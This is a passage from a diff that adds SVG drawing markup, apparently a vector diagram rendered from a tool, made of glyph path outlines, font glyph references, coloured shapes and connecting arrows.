457.554688 123.132812 C 458.488281 123.160156 459.171875 123.003906 459.613281 122.667969 C 460.046875 122.335938 460.269531 121.886719 460.269531 121.308594 C 460.269531 120.640625 460.046875 120.113281 459.613281 119.71875 C 459.171875 119.339844 458.488281 119.109375 457.554688 119.042969 Z M 457.554688 123.132812 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="59.203125" y="31.275608"/>
+  <use xlink:href="#glyph0-9" x="67.814236" y="31.275608"/>
+  <use xlink:href="#glyph0-10" x="73.369792" y="31.275608"/>
+  <use xlink:href="#glyph0-11" x="82.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-12" x="91.147569" y="31.275608"/>
+  <use xlink:href="#glyph0-13" x="100.036458" y="31.275608"/>
+  <use xlink:href="#glyph0-14" x="107.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-7" x="112.814236" y="31.275608"/>
+  <use xlink:href="#glyph0-18" x="117.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-3" x="128.369792" y="31.275608"/>
+  <use xlink:href="#glyph0-19" x="137.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-5" x="141.703125" y="31.275608"/>
+  <use xlink:href="#glyph0-13" x="150.036458" y="31.275608"/>
+  <use xlink:href="#glyph0-14" x="157.258681" y="31.275608"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.3 26 C 0.134375 26 0 26.134375 0 26.3 L 0 30.7 C 0 30.865625 0.134375 31 0.3 31 L 8.7 31 C 8.865625 31 9 30.865625 9 30.7 L 9 26.3 C 9 26.134375 8.865625 26 8.7 26 Z M 0.3 26 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="29.429688" y="60.14681"/>
+  <use xlink:href="#glyph1-2" x="32.485243" y="60.14681"/>
+  <use xlink:href="#glyph1-39" x="38.874132" y="60.14681"/>
+  <use xlink:href="#glyph1-10" x="41.929688" y="60.14681"/>
+  <use xlink:href="#glyph1-17" x="44.985243" y="60.14681"/>
+  <use xlink:href="#glyph1-18" x="51.65191" y="60.14681"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="29.429688" y="78.49056"/>
+  <use xlink:href="#glyph1-4" x="35.818576" y="78.49056"/>
+  <use xlink:href="#glyph1-5" x="41.65191" y="78.49056"/>
+  <use xlink:href="#glyph1-6" x="51.096354" y="78.49056"/>
+  <use xlink:href="#glyph1-39" x="57.207465" y="78.49056"/>
+  <use xlink:href="#glyph1-10" x="60.263021" y="78.49056"/>
+  <use xlink:href="#glyph1-19" x="63.318576" y="78.49056"/>
+  <use xlink:href="#glyph1-1" x="70.263021" y="78.49056"/>
+  <use xlink:href="#glyph1-20" x="73.318576" y="78.49056"/>
+  <use xlink:href="#glyph1-6" x="78.874132" y="78.49056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="29.429688" y="96.838216"/>
+  <use xlink:href="#glyph1-8" x="35.818576" y="96.838216"/>
+  <use xlink:href="#glyph1-1" x="39.707465" y="96.838216"/>
+  <use xlink:href="#glyph1-9" x="42.763021" y="96.838216"/>
+  <use xlink:href="#glyph1-6" x="47.763021" y="96.838216"/>
+  <use xlink:href="#glyph1-39" x="53.874132" y="96.838216"/>
+  <use xlink:href="#glyph1-10" x="56.929688" y="96.838216"/>
+  <use xlink:href="#glyph1-21" x="59.985243" y="96.838216"/>
+  <use xlink:href="#glyph1-22" x="66.65191" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="73.318576" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="79.985243" y="96.838216"/>
+  <use xlink:href="#glyph1-24" x="86.65191" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="89.15191" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="95.818576" y="96.838216"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="29.429688" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="35.818576" y="115.181966"/>
+  <use xlink:href="#glyph1-11" x="41.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-9" x="46.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-8" x="52.207465" y="115.181966"/>
+  <use xlink:href="#glyph1-1" x="56.096354" y="115.181966"/>
+  <use xlink:href="#glyph1-7" x="59.15191" y="115.181966"/>
+  <use xlink:href="#glyph1-12" x="65.540799" y="115.181966"/>
+  <use xlink:href="#glyph1-1" x="69.707465" y="115.181966"/>
+  <use xlink:href="#glyph1-13" x="72.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-3" x="79.15191" y="115.181966"/>
+  <use xlink:href="#glyph1-39" x="85.540799" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="88.596354" y="115.181966"/>
+  <use xlink:href="#glyph1-25" x="91.65191" y="115.181966"/>
+  <use xlink:href="#glyph1-26" x="98.040799" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="103.874132" y="115.181966"/>
+  <use xlink:href="#glyph1-2" x="109.985243" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="116.374132" y="115.181966"/>
+  <use xlink:href="#glyph1-14" x="119.429688" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="125.818576" y="115.181966"/>
+  <use xlink:href="#glyph1-4" x="131.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-8" x="137.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-40" x="141.096354" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="142.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-31" x="145.818576" y="115.181966"/>
+  <use xlink:href="#glyph1-29" x="152.207465" y="115.181966"/>
+  <use xlink:href="#glyph1-41" x="155.540799" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="161.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-40" x="168.040799" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="169.707465" y="115.181966"/>
+  <use xlink:href="#glyph1-42" x="172.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-4" x="176.65191" y="115.181966"/>
+  <use xlink:href="#glyph1-11" x="182.485243" y="115.181966"/>
+  <use xlink:href="#glyph1-12" x="187.485243" y="115.181966"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="29.429688" y="133.525716"/>
+  <use xlink:href="#glyph1-4" x="34.707465" y="133.525716"/>
+  <use xlink:href="#glyph1-12" x="40.540799" y="133.525716"/>
+  <use xlink:href="#glyph1-6" x="44.429688" y="133.525716"/>
+  <use xlink:href="#glyph1-14" x="50.263021" y="133.525716"/>
+  <use xlink:href="#glyph1-13" x="56.65191" y="133.525716"/>
+  <use xlink:href="#glyph1-8" x="63.040799" y="133.525716"/>
+  <use xlink:href="#glyph1-15" x="66.929688" y="133.525716"/>
+  <use xlink:href="#glyph1-39" x="72.485243" y="133.525716"/>
+  <use xlink:href="#glyph1-10" x="75.540799" y="133.525716"/>
+  <use xlink:href="#glyph1-18" x="78.596354" y="133.525716"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-43" x="241" y="65.017904"/>
+  <use xlink:href="#glyph1-11" x="248.777778" y="65.017904"/>
+  <use xlink:href="#glyph1-6" x="253.777778" y="65.017904"/>
+  <use xlink:href="#glyph1-8" x="259.888889" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="263.777778" y="65.017904"/>
+  <use xlink:href="#glyph1-4" x="266.833333" y="65.017904"/>
+  <use xlink:href="#glyph1-11" x="272.666667" y="65.017904"/>
+  <use xlink:href="#glyph1-20" x="277.666667" y="65.017904"/>
+  <use xlink:href="#glyph1-11" x="283.222222" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="288.222222" y="65.017904"/>
+  <use xlink:href="#glyph1-42" x="291.277778" y="65.017904"/>
+  <use xlink:href="#glyph1-13" x="294.888889" y="65.017904"/>
+  <use xlink:href="#glyph1-8" x="301.277778" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="305.166667" y="65.017904"/>
+  <use xlink:href="#glyph1-7" x="308.222222" y="65.017904"/>
+  <use xlink:href="#glyph1-8" x="314.611111" y="65.017904"/>
+  <use xlink:href="#glyph1-13" x="318.5" y="65.017904"/>
+  <use xlink:href="#glyph1-2" x="324.888889" y="65.017904"/>
+  <use xlink:href="#glyph1-41" x="331.277778" y="65.017904"/>
+  <use xlink:href="#glyph1-9" x="337.666667" y="65.017904"/>
+  <use xlink:href="#glyph1-12" x="342.944444" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="347.111111" y="65.017904"/>
+  <use xlink:href="#glyph1-17" x="350.166667" y="65.017904"/>
+  <use xlink:href="#glyph1-18" x="356.833333" y="65.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-44" x="241" y="129.017904"/>
+  <use xlink:href="#glyph1-13" x="248.777778" y="129.017904"/>
+  <use xlink:href="#glyph1-9" x="255.166667" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="260.444444" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="264.611111" y="129.017904"/>
+  <use xlink:href="#glyph1-1" x="268.5" y="129.017904"/>
+  <use xlink:href="#glyph1-3" x="271.555556" y="129.017904"/>
+  <use xlink:href="#glyph1-6" x="277.944444" y="129.017904"/>
+  <use xlink:href="#glyph1-10" x="284.055556" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="287.111111" y="129.017904"/>
+  <use xlink:href="#glyph1-6" x="291" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="297.111111" y="129.017904"/>
+  <use xlink:href="#glyph1-41" x="301.277778" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="307.666667" y="129.017904"/>
+  <use xlink:href="#glyph1-3" x="311.555556" y="129.017904"/>
+  <use xlink:href="#glyph1-11" x="317.944444" y="129.017904"/>
+  <use xlink:href="#glyph1-10" x="322.944444" y="129.017904"/>
+  <use xlink:href="#glyph1-45" x="326" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="332.111111" y="129.017904"/>
+  <use xlink:href="#glyph1-13" x="336" y="129.017904"/>
+  <use xlink:href="#glyph1-2" x="342.388889" y="129.017904"/>
+  <use xlink:href="#glyph1-41" x="348.777778" y="129.017904"/>
+  <use xlink:href="#glyph1-9" x="355.166667" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="360.444444" y="129.017904"/>
+  <use xlink:href="#glyph1-10" x="364.611111" y="129.017904"/>
+  <use xlink:href="#glyph1-13" x="367.666667" y="129.017904"/>
+  <use xlink:href="#glyph1-31" x="374.055556" y="129.017904"/>
+  <use xlink:href="#glyph1-46" x="380.444444" y="129.017904"/>
+  <use xlink:href="#glyph1-6" x="383.5" y="129.017904"/>
+  <use xlink:href="#glyph1-9" x="389.333333" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="394.611111" y="129.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-36" x="241" y="147.361654"/>
+  <use xlink:href="#glyph1-1" x="249.611111" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="252.666667" y="147.361654"/>
+  <use xlink:href="#glyph1-47" x="256.833333" y="147.361654"/>
+  <use xlink:href="#glyph1-13" x="263.222222" y="147.361654"/>
+  <use xlink:href="#glyph1-41" x="269.611111" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="276" y="147.361654"/>
+  <use xlink:href="#glyph1-10" x="280.166667" y="147.361654"/>
+  <use xlink:href="#glyph1-48" x="283.222222" y="147.361654"/>
+  <use xlink:href="#glyph1-4" x="289.888889" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="295.722222" y="147.361654"/>
+  <use xlink:href="#glyph1-6" x="299.611111" y="147.361654"/>
+  <use xlink:href="#glyph1-14" x="305.444444" y="147.361654"/>
+  <use xlink:href="#glyph1-13" x="311.833333" y="147.361654"/>
+  <use xlink:href="#glyph1-8" x="318.222222" y="147.361654"/>
+  <use xlink:href="#glyph1-15" x="322.111111" y="147.361654"/>
+  <use xlink:href="#glyph1-10" x="327.111111" y="147.361654"/>
+  <use xlink:href="#glyph1-2" x="330.166667" y="147.361654"/>
+  <use xlink:href="#glyph1-4" x="336.555556" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="342.388889" y="147.361654"/>
+  <use xlink:href="#glyph1-4" x="346.555556" y="147.361654"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 37.4 L 23.45 37.4 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.45 37.65 L 23.95 37.4 L 23.45 37.15 Z M 23.45 37.65 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 39.407812 L 24 39.6 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.565234 39.157812 L 10.061719 39.400781 L 10.558203 39.657812 Z M 10.565234 39.157812 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.6 40.6 C 20.607617 41.257227 21.142773 41.786133 21.8 41.786133 C 22.457227 41.786133 22.992383 41.257227 23 40.6 C 23 39.2 23 37.8 23 36.4 C 23 36.081836 22.873633 35.776562 22.648438 35.551563 C 22.423438 35.326367 22.118164 35.2 21.8 35.2 C 21.481836 35.2 21.176562 35.326367 20.951563 35.551563 C 20.726367 35.776562 20.6 36.081836 20.6 36.4 C 20.6 37.8 20.6 39.2 20.6 40.6 Z M 20.6 40.6 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 465.523438 261.085938 C 465.566406 261.308594 465.59375 261.5625 465.609375 261.851562 C 465.636719 262.128906 465.652344 262.410156 465.652344 262.699219 C 465.664062 262.996094 465.671875 263.28125 465.671875 263.566406 C 465.683594 263.847656 465.695312 264.117188 465.695312 264.371094 C 465.695312 265.414062 465.515625 266.304688 465.164062 267.042969 C 464.824219 267.789062 464.328125 268.386719 463.679688 268.84375 C 463.046875 269.308594 462.273438 269.636719 461.371094 269.839844 C 460.464844 270.050781 459.453125 270.15625 458.339844 270.15625 C 457.351562 270.15625 456.394531 270.054688 455.480469 269.859375 C 454.558594 269.660156 453.753906 269.332031 453.0625 268.863281 C 452.371094 268.410156 451.8125 267.804688 451.390625 267.042969 C 450.976562 266.277344 450.773438 265.324219 450.773438 264.179688 C 450.773438 263.996094 450.773438 263.757812 450.773438 263.460938 C 450.785156 263.175781 450.800781 262.878906 450.816406 262.570312 C 450.84375 262.257812 450.863281 261.964844 450.882812 261.703125 C 450.890625 261.429688 450.914062 261.226562 450.945312 261.085938 M 464.339844 264.433594 C 464.339844 264.292969 464.339844 264.140625 464.339844 263.96875 C 464.339844 263.800781 464.328125 263.636719 464.316406 263.480469 C 464.300781 263.324219 464.285156 263.175781 464.273438 263.035156 C 464.257812 262.894531 464.242188 262.78125 464.230469 262.699219 L 452.214844 262.699219 C 452.199219 262.75 452.183594 262.855469 452.171875 263.015625 C 452.171875 263.167969 452.164062 263.324219 452.152344 263.480469 C 452.152344 263.652344 452.140625 263.808594 452.132812 263.96875 C 452.132812 264.121094 452.132812 264.234375 452.132812 264.308594 C 452.132812 265.097656 452.300781 265.761719 452.640625 266.300781 C 452.980469 266.835938 453.429688 267.257812 453.996094 267.570312 C 454.558594 267.894531 455.214844 268.121094 455.96875 268.25 C 456.730469 268.378906 457.523438 268.441406 458.363281 268.441406 C 459.109375 268.441406 459.84375 268.382812 460.566406 268.269531 C 461.285156 268.15625 461.921875 267.941406 462.472656 267.636719 C 463.023438 267.339844 463.46875 266.9375 463.808594 266.425781 C 464.15625 265.917969 464.339844 265.25 464.339844 264.433594 M 456.199219 271.34375 C 458.066406 271.34375 459.433594 271.671875 460.3125 272.339844 C 461.1875 273.019531 461.625 273.976562 461.625 275.222656 C 461.625 276.546875 461.167969 277.523438 460.269531 278.148438 C 459.378906 278.78125 458.023438 279.101562 456.199219 279.101562 C 454.320312 279.101562 452.941406 278.761719 452.066406 278.082031 C 451.203125 277.40625 450.773438 276.453125 450.773438 275.222656 C 450.773438 273.890625 451.21875 272.914062 452.109375 272.277344 C 453.011719 271.652344 454.378906 271.34375 456.199219 271.34375 M 456.199219 272.976562 C 455.589844 272.976562 455.039062 273.007812 454.546875 273.082031 C 454.050781 273.167969 453.621094 273.300781 453.253906 273.484375 C 452.898438 273.664062 452.625 273.898438 452.429688 274.183594 C 452.226562 274.480469 452.132812 274.824219 452.132812 275.222656 C 452.132812 275.984375 452.449219 276.546875 453.085938 276.917969 C 453.730469 277.300781 454.769531 277.488281 456.199219 277.488281 C 456.792969 277.488281 457.332031 277.449219 457.832031 277.363281 C 458.339844 277.289062 458.769531 277.160156 459.125 276.980469 C 459.492188 276.796875 459.769531 276.558594 459.972656 276.261719 C 460.167969 275.972656 460.269531 275.628906 460.269531 275.222656 C 460.269531 274.484375 459.941406 273.929688 459.292969 273.546875 C 458.644531 273.167969 457.609375 272.976562 456.199219 272.976562 M 451.539062 287.300781 C 451.285156 286.929688 451.09375 286.519531 450.964844 286.050781 C 450.839844 285.597656 450.773438 285.117188 450.773438 284.609375 C 450.773438 283.917969 450.902344 283.328125 451.15625 282.851562 C 451.410156 282.371094 451.777344 281.984375 452.257812 281.6875 C 452.734375 281.390625 453.308594 281.167969 453.976562 281.027344 C 454.636719 280.902344 455.378906 280.839844 456.199219 280.839844 C 457.964844 280.839844 459.304688 281.160156 460.226562 281.8125 C 461.160156 282.476562 461.625 283.421875 461.625 284.652344 C 461.625 285.214844 461.574219 285.703125 461.476562 286.113281 C 461.375 286.523438 461.25 286.867188 461.09375 287.152344 L 459.761719 286.730469 C 460.097656 286.148438 460.269531 285.523438 460.269531 284.84375 C 460.269531 284.046875 459.933594 283.457031 459.273438 283.0625 C 458.621094 282.664062 457.597656 282.46875 456.199219 282.46875 C 455.632812 282.46875 455.101562 282.511719 454.609375 282.597656 C 454.113281 282.683594 453.683594 282.820312 453.316406 283.019531 C 452.945312 283.234375 452.660156 283.492188 452.449219 283.804688 C 452.238281 284.128906 452.132812 284.53125 452.132812 285.011719 C 452.132812 285.378906 452.195312 285.722656 452.320312 286.050781 C 452.460938 286.375 452.617188 286.644531 452.789062 286.855469 M 461.625 288.359375 L 461.625 289.695312 L 463.828125 289.695312 L 464.339844 291.242188 L 461.625 291.242188 L 461.625 293.597656 L 460.269531 293.597656 L 460.269531 291.242188 L 453.910156 291.242188 C 453.277344 291.242188 452.816406 291.316406 452.535156 291.476562 C 452.265625 291.628906 452.132812 291.878906 452.132812 292.21875 C 452.132812 292.515625 452.164062 292.757812 452.238281 292.960938 C 452.304688 293.171875 452.390625 293.40625 452.492188 293.660156 L 451.285156 293.957031 C 451.125 293.644531 450.996094 293.289062 450.902344 292.894531 C 450.816406 292.515625 450.773438 292.117188 450.773438 291.710938 C 450.773438 290.988281 450.996094 290.46875 451.453125 290.164062 C 451.917969 289.851562 452.671875 289.695312 453.71875 289.695312 L 460.269531 289.695312 L 460.269531 288.359375 M 461.625 294.867188 L 461.625 295.992188 L 460.3125 296.265625 L 460.3125 296.328125 C 460.71875 296.527344 461.039062 296.785156 461.265625 297.113281 C 461.503906 297.4375 461.625 297.835938 461.625 298.300781 C 461.625 298.625 461.566406 299 461.457031 299.421875 L 460.078125 299.125 C 460.207031 298.746094 460.269531 298.410156 460.269531 298.132812 C 460.269531 297.664062 460.132812 297.285156 459.867188 296.988281 C 459.597656 296.699219 459.234375 296.519531 458.785156 296.433594 L 450.773438 296.433594 L 450.773438 294.867188 M 461.625 300.566406 L 461.625 302.113281 L 450.773438 302.113281 L 450.773438 300.566406 M 464.296875 300.269531 C 464.703125 300.269531 465.039062 300.367188 465.292969 300.566406 C 465.554688 300.765625 465.695312 301.019531 465.695312 301.332031 C 465.695312 301.652344 465.566406 301.925781 465.3125 302.136719 C 465.070312 302.347656 464.730469 302.453125 464.296875 302.453125 C 463.882812 302.453125 463.558594 302.347656 463.320312 302.136719 C 463.09375 301.925781 462.980469 301.652344 462.980469 301.332031 C 462.980469 301.019531 463.097656 300.765625 463.34375 300.566406 C 463.582031 300.367188 463.898438 300.269531 464.296875 300.269531 M 450.773438 309.933594 L 457.261719 309.933594 C 458.320312 309.933594 459.082031 309.808594 459.546875 309.554688 C 460.023438 309.300781 460.269531 308.84375 460.269531 308.195312 C 460.269531 307.613281 460.097656 307.136719 459.761719 306.757812 C 459.421875 306.375 459.003906 306.097656 458.511719 305.929688 L 450.773438 305.929688 L 450.773438 304.363281 L 461.625 304.363281 L 461.625 305.503906 L 460.246094 305.78125 L 460.246094 305.84375 C 460.628906 306.125 460.953125 306.5 461.222656 306.96875 C 461.488281 307.433594 461.625 307.992188 461.625 308.640625 C 461.625 309.109375 461.5625 309.515625 461.433594 309.871094 C 461.308594 310.222656 461.085938 310.519531 460.777344 310.761719 C 460.480469 311 460.078125 311.175781 459.570312 311.292969 C 459.0625 311.417969 458.414062 311.480469 457.640625 311.480469 L 450.773438 311.480469 M 451.730469 320.363281 C 451.433594 320.007812 451.199219 319.5625 451.027344 319.027344 C 450.859375 318.5 450.773438 317.945312 450.773438 317.351562 C 450.773438 316.65625 450.902344 316.066406 451.15625 315.570312 C 451.410156 315.074219 451.777344 314.667969 452.257812 314.34375 C 452.734375 314.015625 453.300781 313.777344 453.953125 313.621094 C 454.617188 313.464844 455.363281 313.390625 456.199219 313.390625 C 457.964844 313.390625 459.304688 313.726562 460.226562 314.40625 C 461.160156 315.085938 461.625 316.042969 461.625 317.289062 C 461.625 317.695312 461.574219 318.097656 461.476562 318.496094 C 461.390625 318.886719 461.207031 319.242188 460.925781 319.554688 C 460.640625 319.878906 460.246094 320.140625 459.738281 320.339844 C 459.230469 320.535156 458.5625 320.636719 457.746094 320.636719 C 457.519531 320.636719 457.269531 320.621094 457.003906 320.59375 C 456.75 320.578125 456.480469 320.558594 456.199219 320.53125 L 456.199219 315.019531 C 455.574219 315.019531 455.011719 315.070312 454.503906 315.167969 C 454.007812 315.265625 453.582031 315.421875 453.234375 315.636719 C 452.878906 315.859375 452.601562 316.144531 452.40625 316.484375 C 452.222656 316.824219 452.132812 317.246094 452.132812 317.753906 C 452.132812 318.148438 452.195312 318.539062 452.320312 318.921875 C 452.460938 319.300781 452.628906 319.589844 452.832031 319.789062 M 457.554688 319.132812 C 458.488281 319.160156 459.171875 319.003906 459.613281 318.667969 C 460.046875 318.335938 460.269531 317.886719 460.269531 317.308594 C 460.269531 316.640625 460.046875 316.113281 459.613281 315.71875 C 459.171875 315.339844 458.488281 315.109375 457.554688 315.042969 Z M 457.554688 319.132812 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="59.203125" y="206.451389"/>
+  <use xlink:href="#glyph0-9" x="67.814236" y="206.451389"/>
+  <use xlink:href="#glyph0-10" x="73.369792" y="206.451389"/>
+  <use xlink:href="#glyph0-11" x="82.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-12" x="91.147569" y="206.451389"/>
+  <use xlink:href="#glyph0-13" x="100.036458" y="206.451389"/>
+  <use xlink:href="#glyph0-14" x="107.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-7" x="112.814236" y="206.451389"/>
+  <use xlink:href="#glyph0-18" x="117.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-3" x="128.369792" y="206.451389"/>
+  <use xlink:href="#glyph0-19" x="137.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-5" x="141.703125" y="206.451389"/>
+  <use xlink:href="#glyph0-13" x="150.036458" y="206.451389"/>
+  <use xlink:href="#glyph0-14" x="157.258681" y="206.451389"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-20" x="45.179688" y="231.853733"/>
+  <use xlink:href="#glyph0-21" x="57.124132" y="231.853733"/>
+  <use xlink:href="#glyph0-14" x="61.568576" y="231.853733"/>
+  <use xlink:href="#glyph0-22" x="67.124132" y="231.853733"/>
+  <use xlink:href="#glyph0-7" x="76.013021" y="231.853733"/>
+  <use xlink:href="#glyph0-23" x="80.457465" y="231.853733"/>
+  <use xlink:href="#glyph0-2" x="89.624132" y="231.853733"/>
+  <use xlink:href="#glyph0-14" x="97.679688" y="231.853733"/>
+  <use xlink:href="#glyph0-5" x="103.235243" y="231.853733"/>
+  <use xlink:href="#glyph0-15" x="111.568576" y="231.853733"/>
+  <use xlink:href="#glyph0-10" x="120.457465" y="231.853733"/>
+  <use xlink:href="#glyph0-9" x="129.346354" y="231.853733"/>
+  <use xlink:href="#glyph0-16" x="134.90191" y="231.853733"/>
+  <use xlink:href="#glyph0-7" x="141.846354" y="231.853733"/>
+  <use xlink:href="#glyph0-11" x="146.290799" y="231.853733"/>
+  <use xlink:href="#glyph0-2" x="155.179688" y="231.853733"/>
+  <use xlink:href="#glyph0-14" x="163.235243" y="231.853733"/>
+  <use xlink:href="#glyph0-2" x="168.790799" y="231.853733"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-49" x="241" y="261.017904"/>
+  <use xlink:href="#glyph1-7" x="247.666667" y="261.017904"/>
+  <use xlink:href="#glyph1-8" x="254.055556" y="261.017904"/>
+  <use xlink:href="#glyph1-13" x="257.944444" y="261.017904"/>
+  <use xlink:href="#glyph1-2" x="264.333333" y="261.017904"/>
+  <use xlink:href="#glyph1-41" x="270.722222" y="261.017904"/>
+  <use xlink:href="#glyph1-9" x="277.111111" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="282.388889" y="261.017904"/>
+  <use xlink:href="#glyph1-50" x="286" y="261.017904"/>
+  <use xlink:href="#glyph1-51" x="290.166667" y="261.017904"/>
+  <use xlink:href="#glyph1-14" x="296.277778" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="302.666667" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="308.777778" y="261.017904"/>
+  <use xlink:href="#glyph1-48" x="312.944444" y="261.017904"/>
+  <use xlink:href="#glyph1-4" x="319.611111" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="325.444444" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="329.333333" y="261.017904"/>
+  <use xlink:href="#glyph1-14" x="335.166667" y="261.017904"/>
+  <use xlink:href="#glyph1-13" x="341.555556" y="261.017904"/>
+  <use xlink:href="#glyph1-8" x="347.944444" y="261.017904"/>
+  <use xlink:href="#glyph1-15" x="351.833333" y="261.017904"/>
+  <use xlink:href="#glyph1-52" x="357.388889" y="261.017904"/>
+  <use xlink:href="#glyph1-53" x="360.722222" y="261.017904"/>
+  <use xlink:href="#glyph1-50" x="364.055556" y="261.017904"/>
+  <use xlink:href="#glyph1-51" x="368.222222" y="261.017904"/>
+  <use xlink:href="#glyph1-14" x="374.333333" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="380.722222" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="386.833333" y="261.017904"/>
+  <use xlink:href="#glyph1-54" x="391" y="261.017904"/>
+  <use xlink:href="#glyph1-4" x="398.777778" y="261.017904"/>
+  <use xlink:href="#glyph1-5" x="404.611111" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="414.055556" y="261.017904"/>
+  <use xlink:href="#glyph1-52" x="420.166667" y="261.017904"/>
+  <use xlink:href="#glyph1-53" x="423.5" y="261.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-44" x="241" y="331.017904"/>
+  <use xlink:href="#glyph1-13" x="248.777778" y="331.017904"/>
+  <use xlink:href="#glyph1-9" x="255.166667" y="331.017904"/>
+  <use xlink:href="#glyph1-12" x="260.444444" y="331.017904"/>
+  <use xlink:href="#glyph1-8" x="264.611111" y="331.017904"/>
+  <use xlink:href="#glyph1-1" x="268.5" y="331.017904"/>
+  <use xlink:href="#glyph1-3" x="271.555556" y="331.017904"/>
+  <use xlink:href="#glyph1-6" x="277.944444" y="331.017904"/>
+  <use xlink:href="#glyph1-10" x="284.055556" y="331.017904"/>
+  <use xlink:href="#glyph1-29" x="287.111111" y="331.017904"/>
+  <use xlink:href="#glyph1-4" x="290.444444" y="331.017904"/>
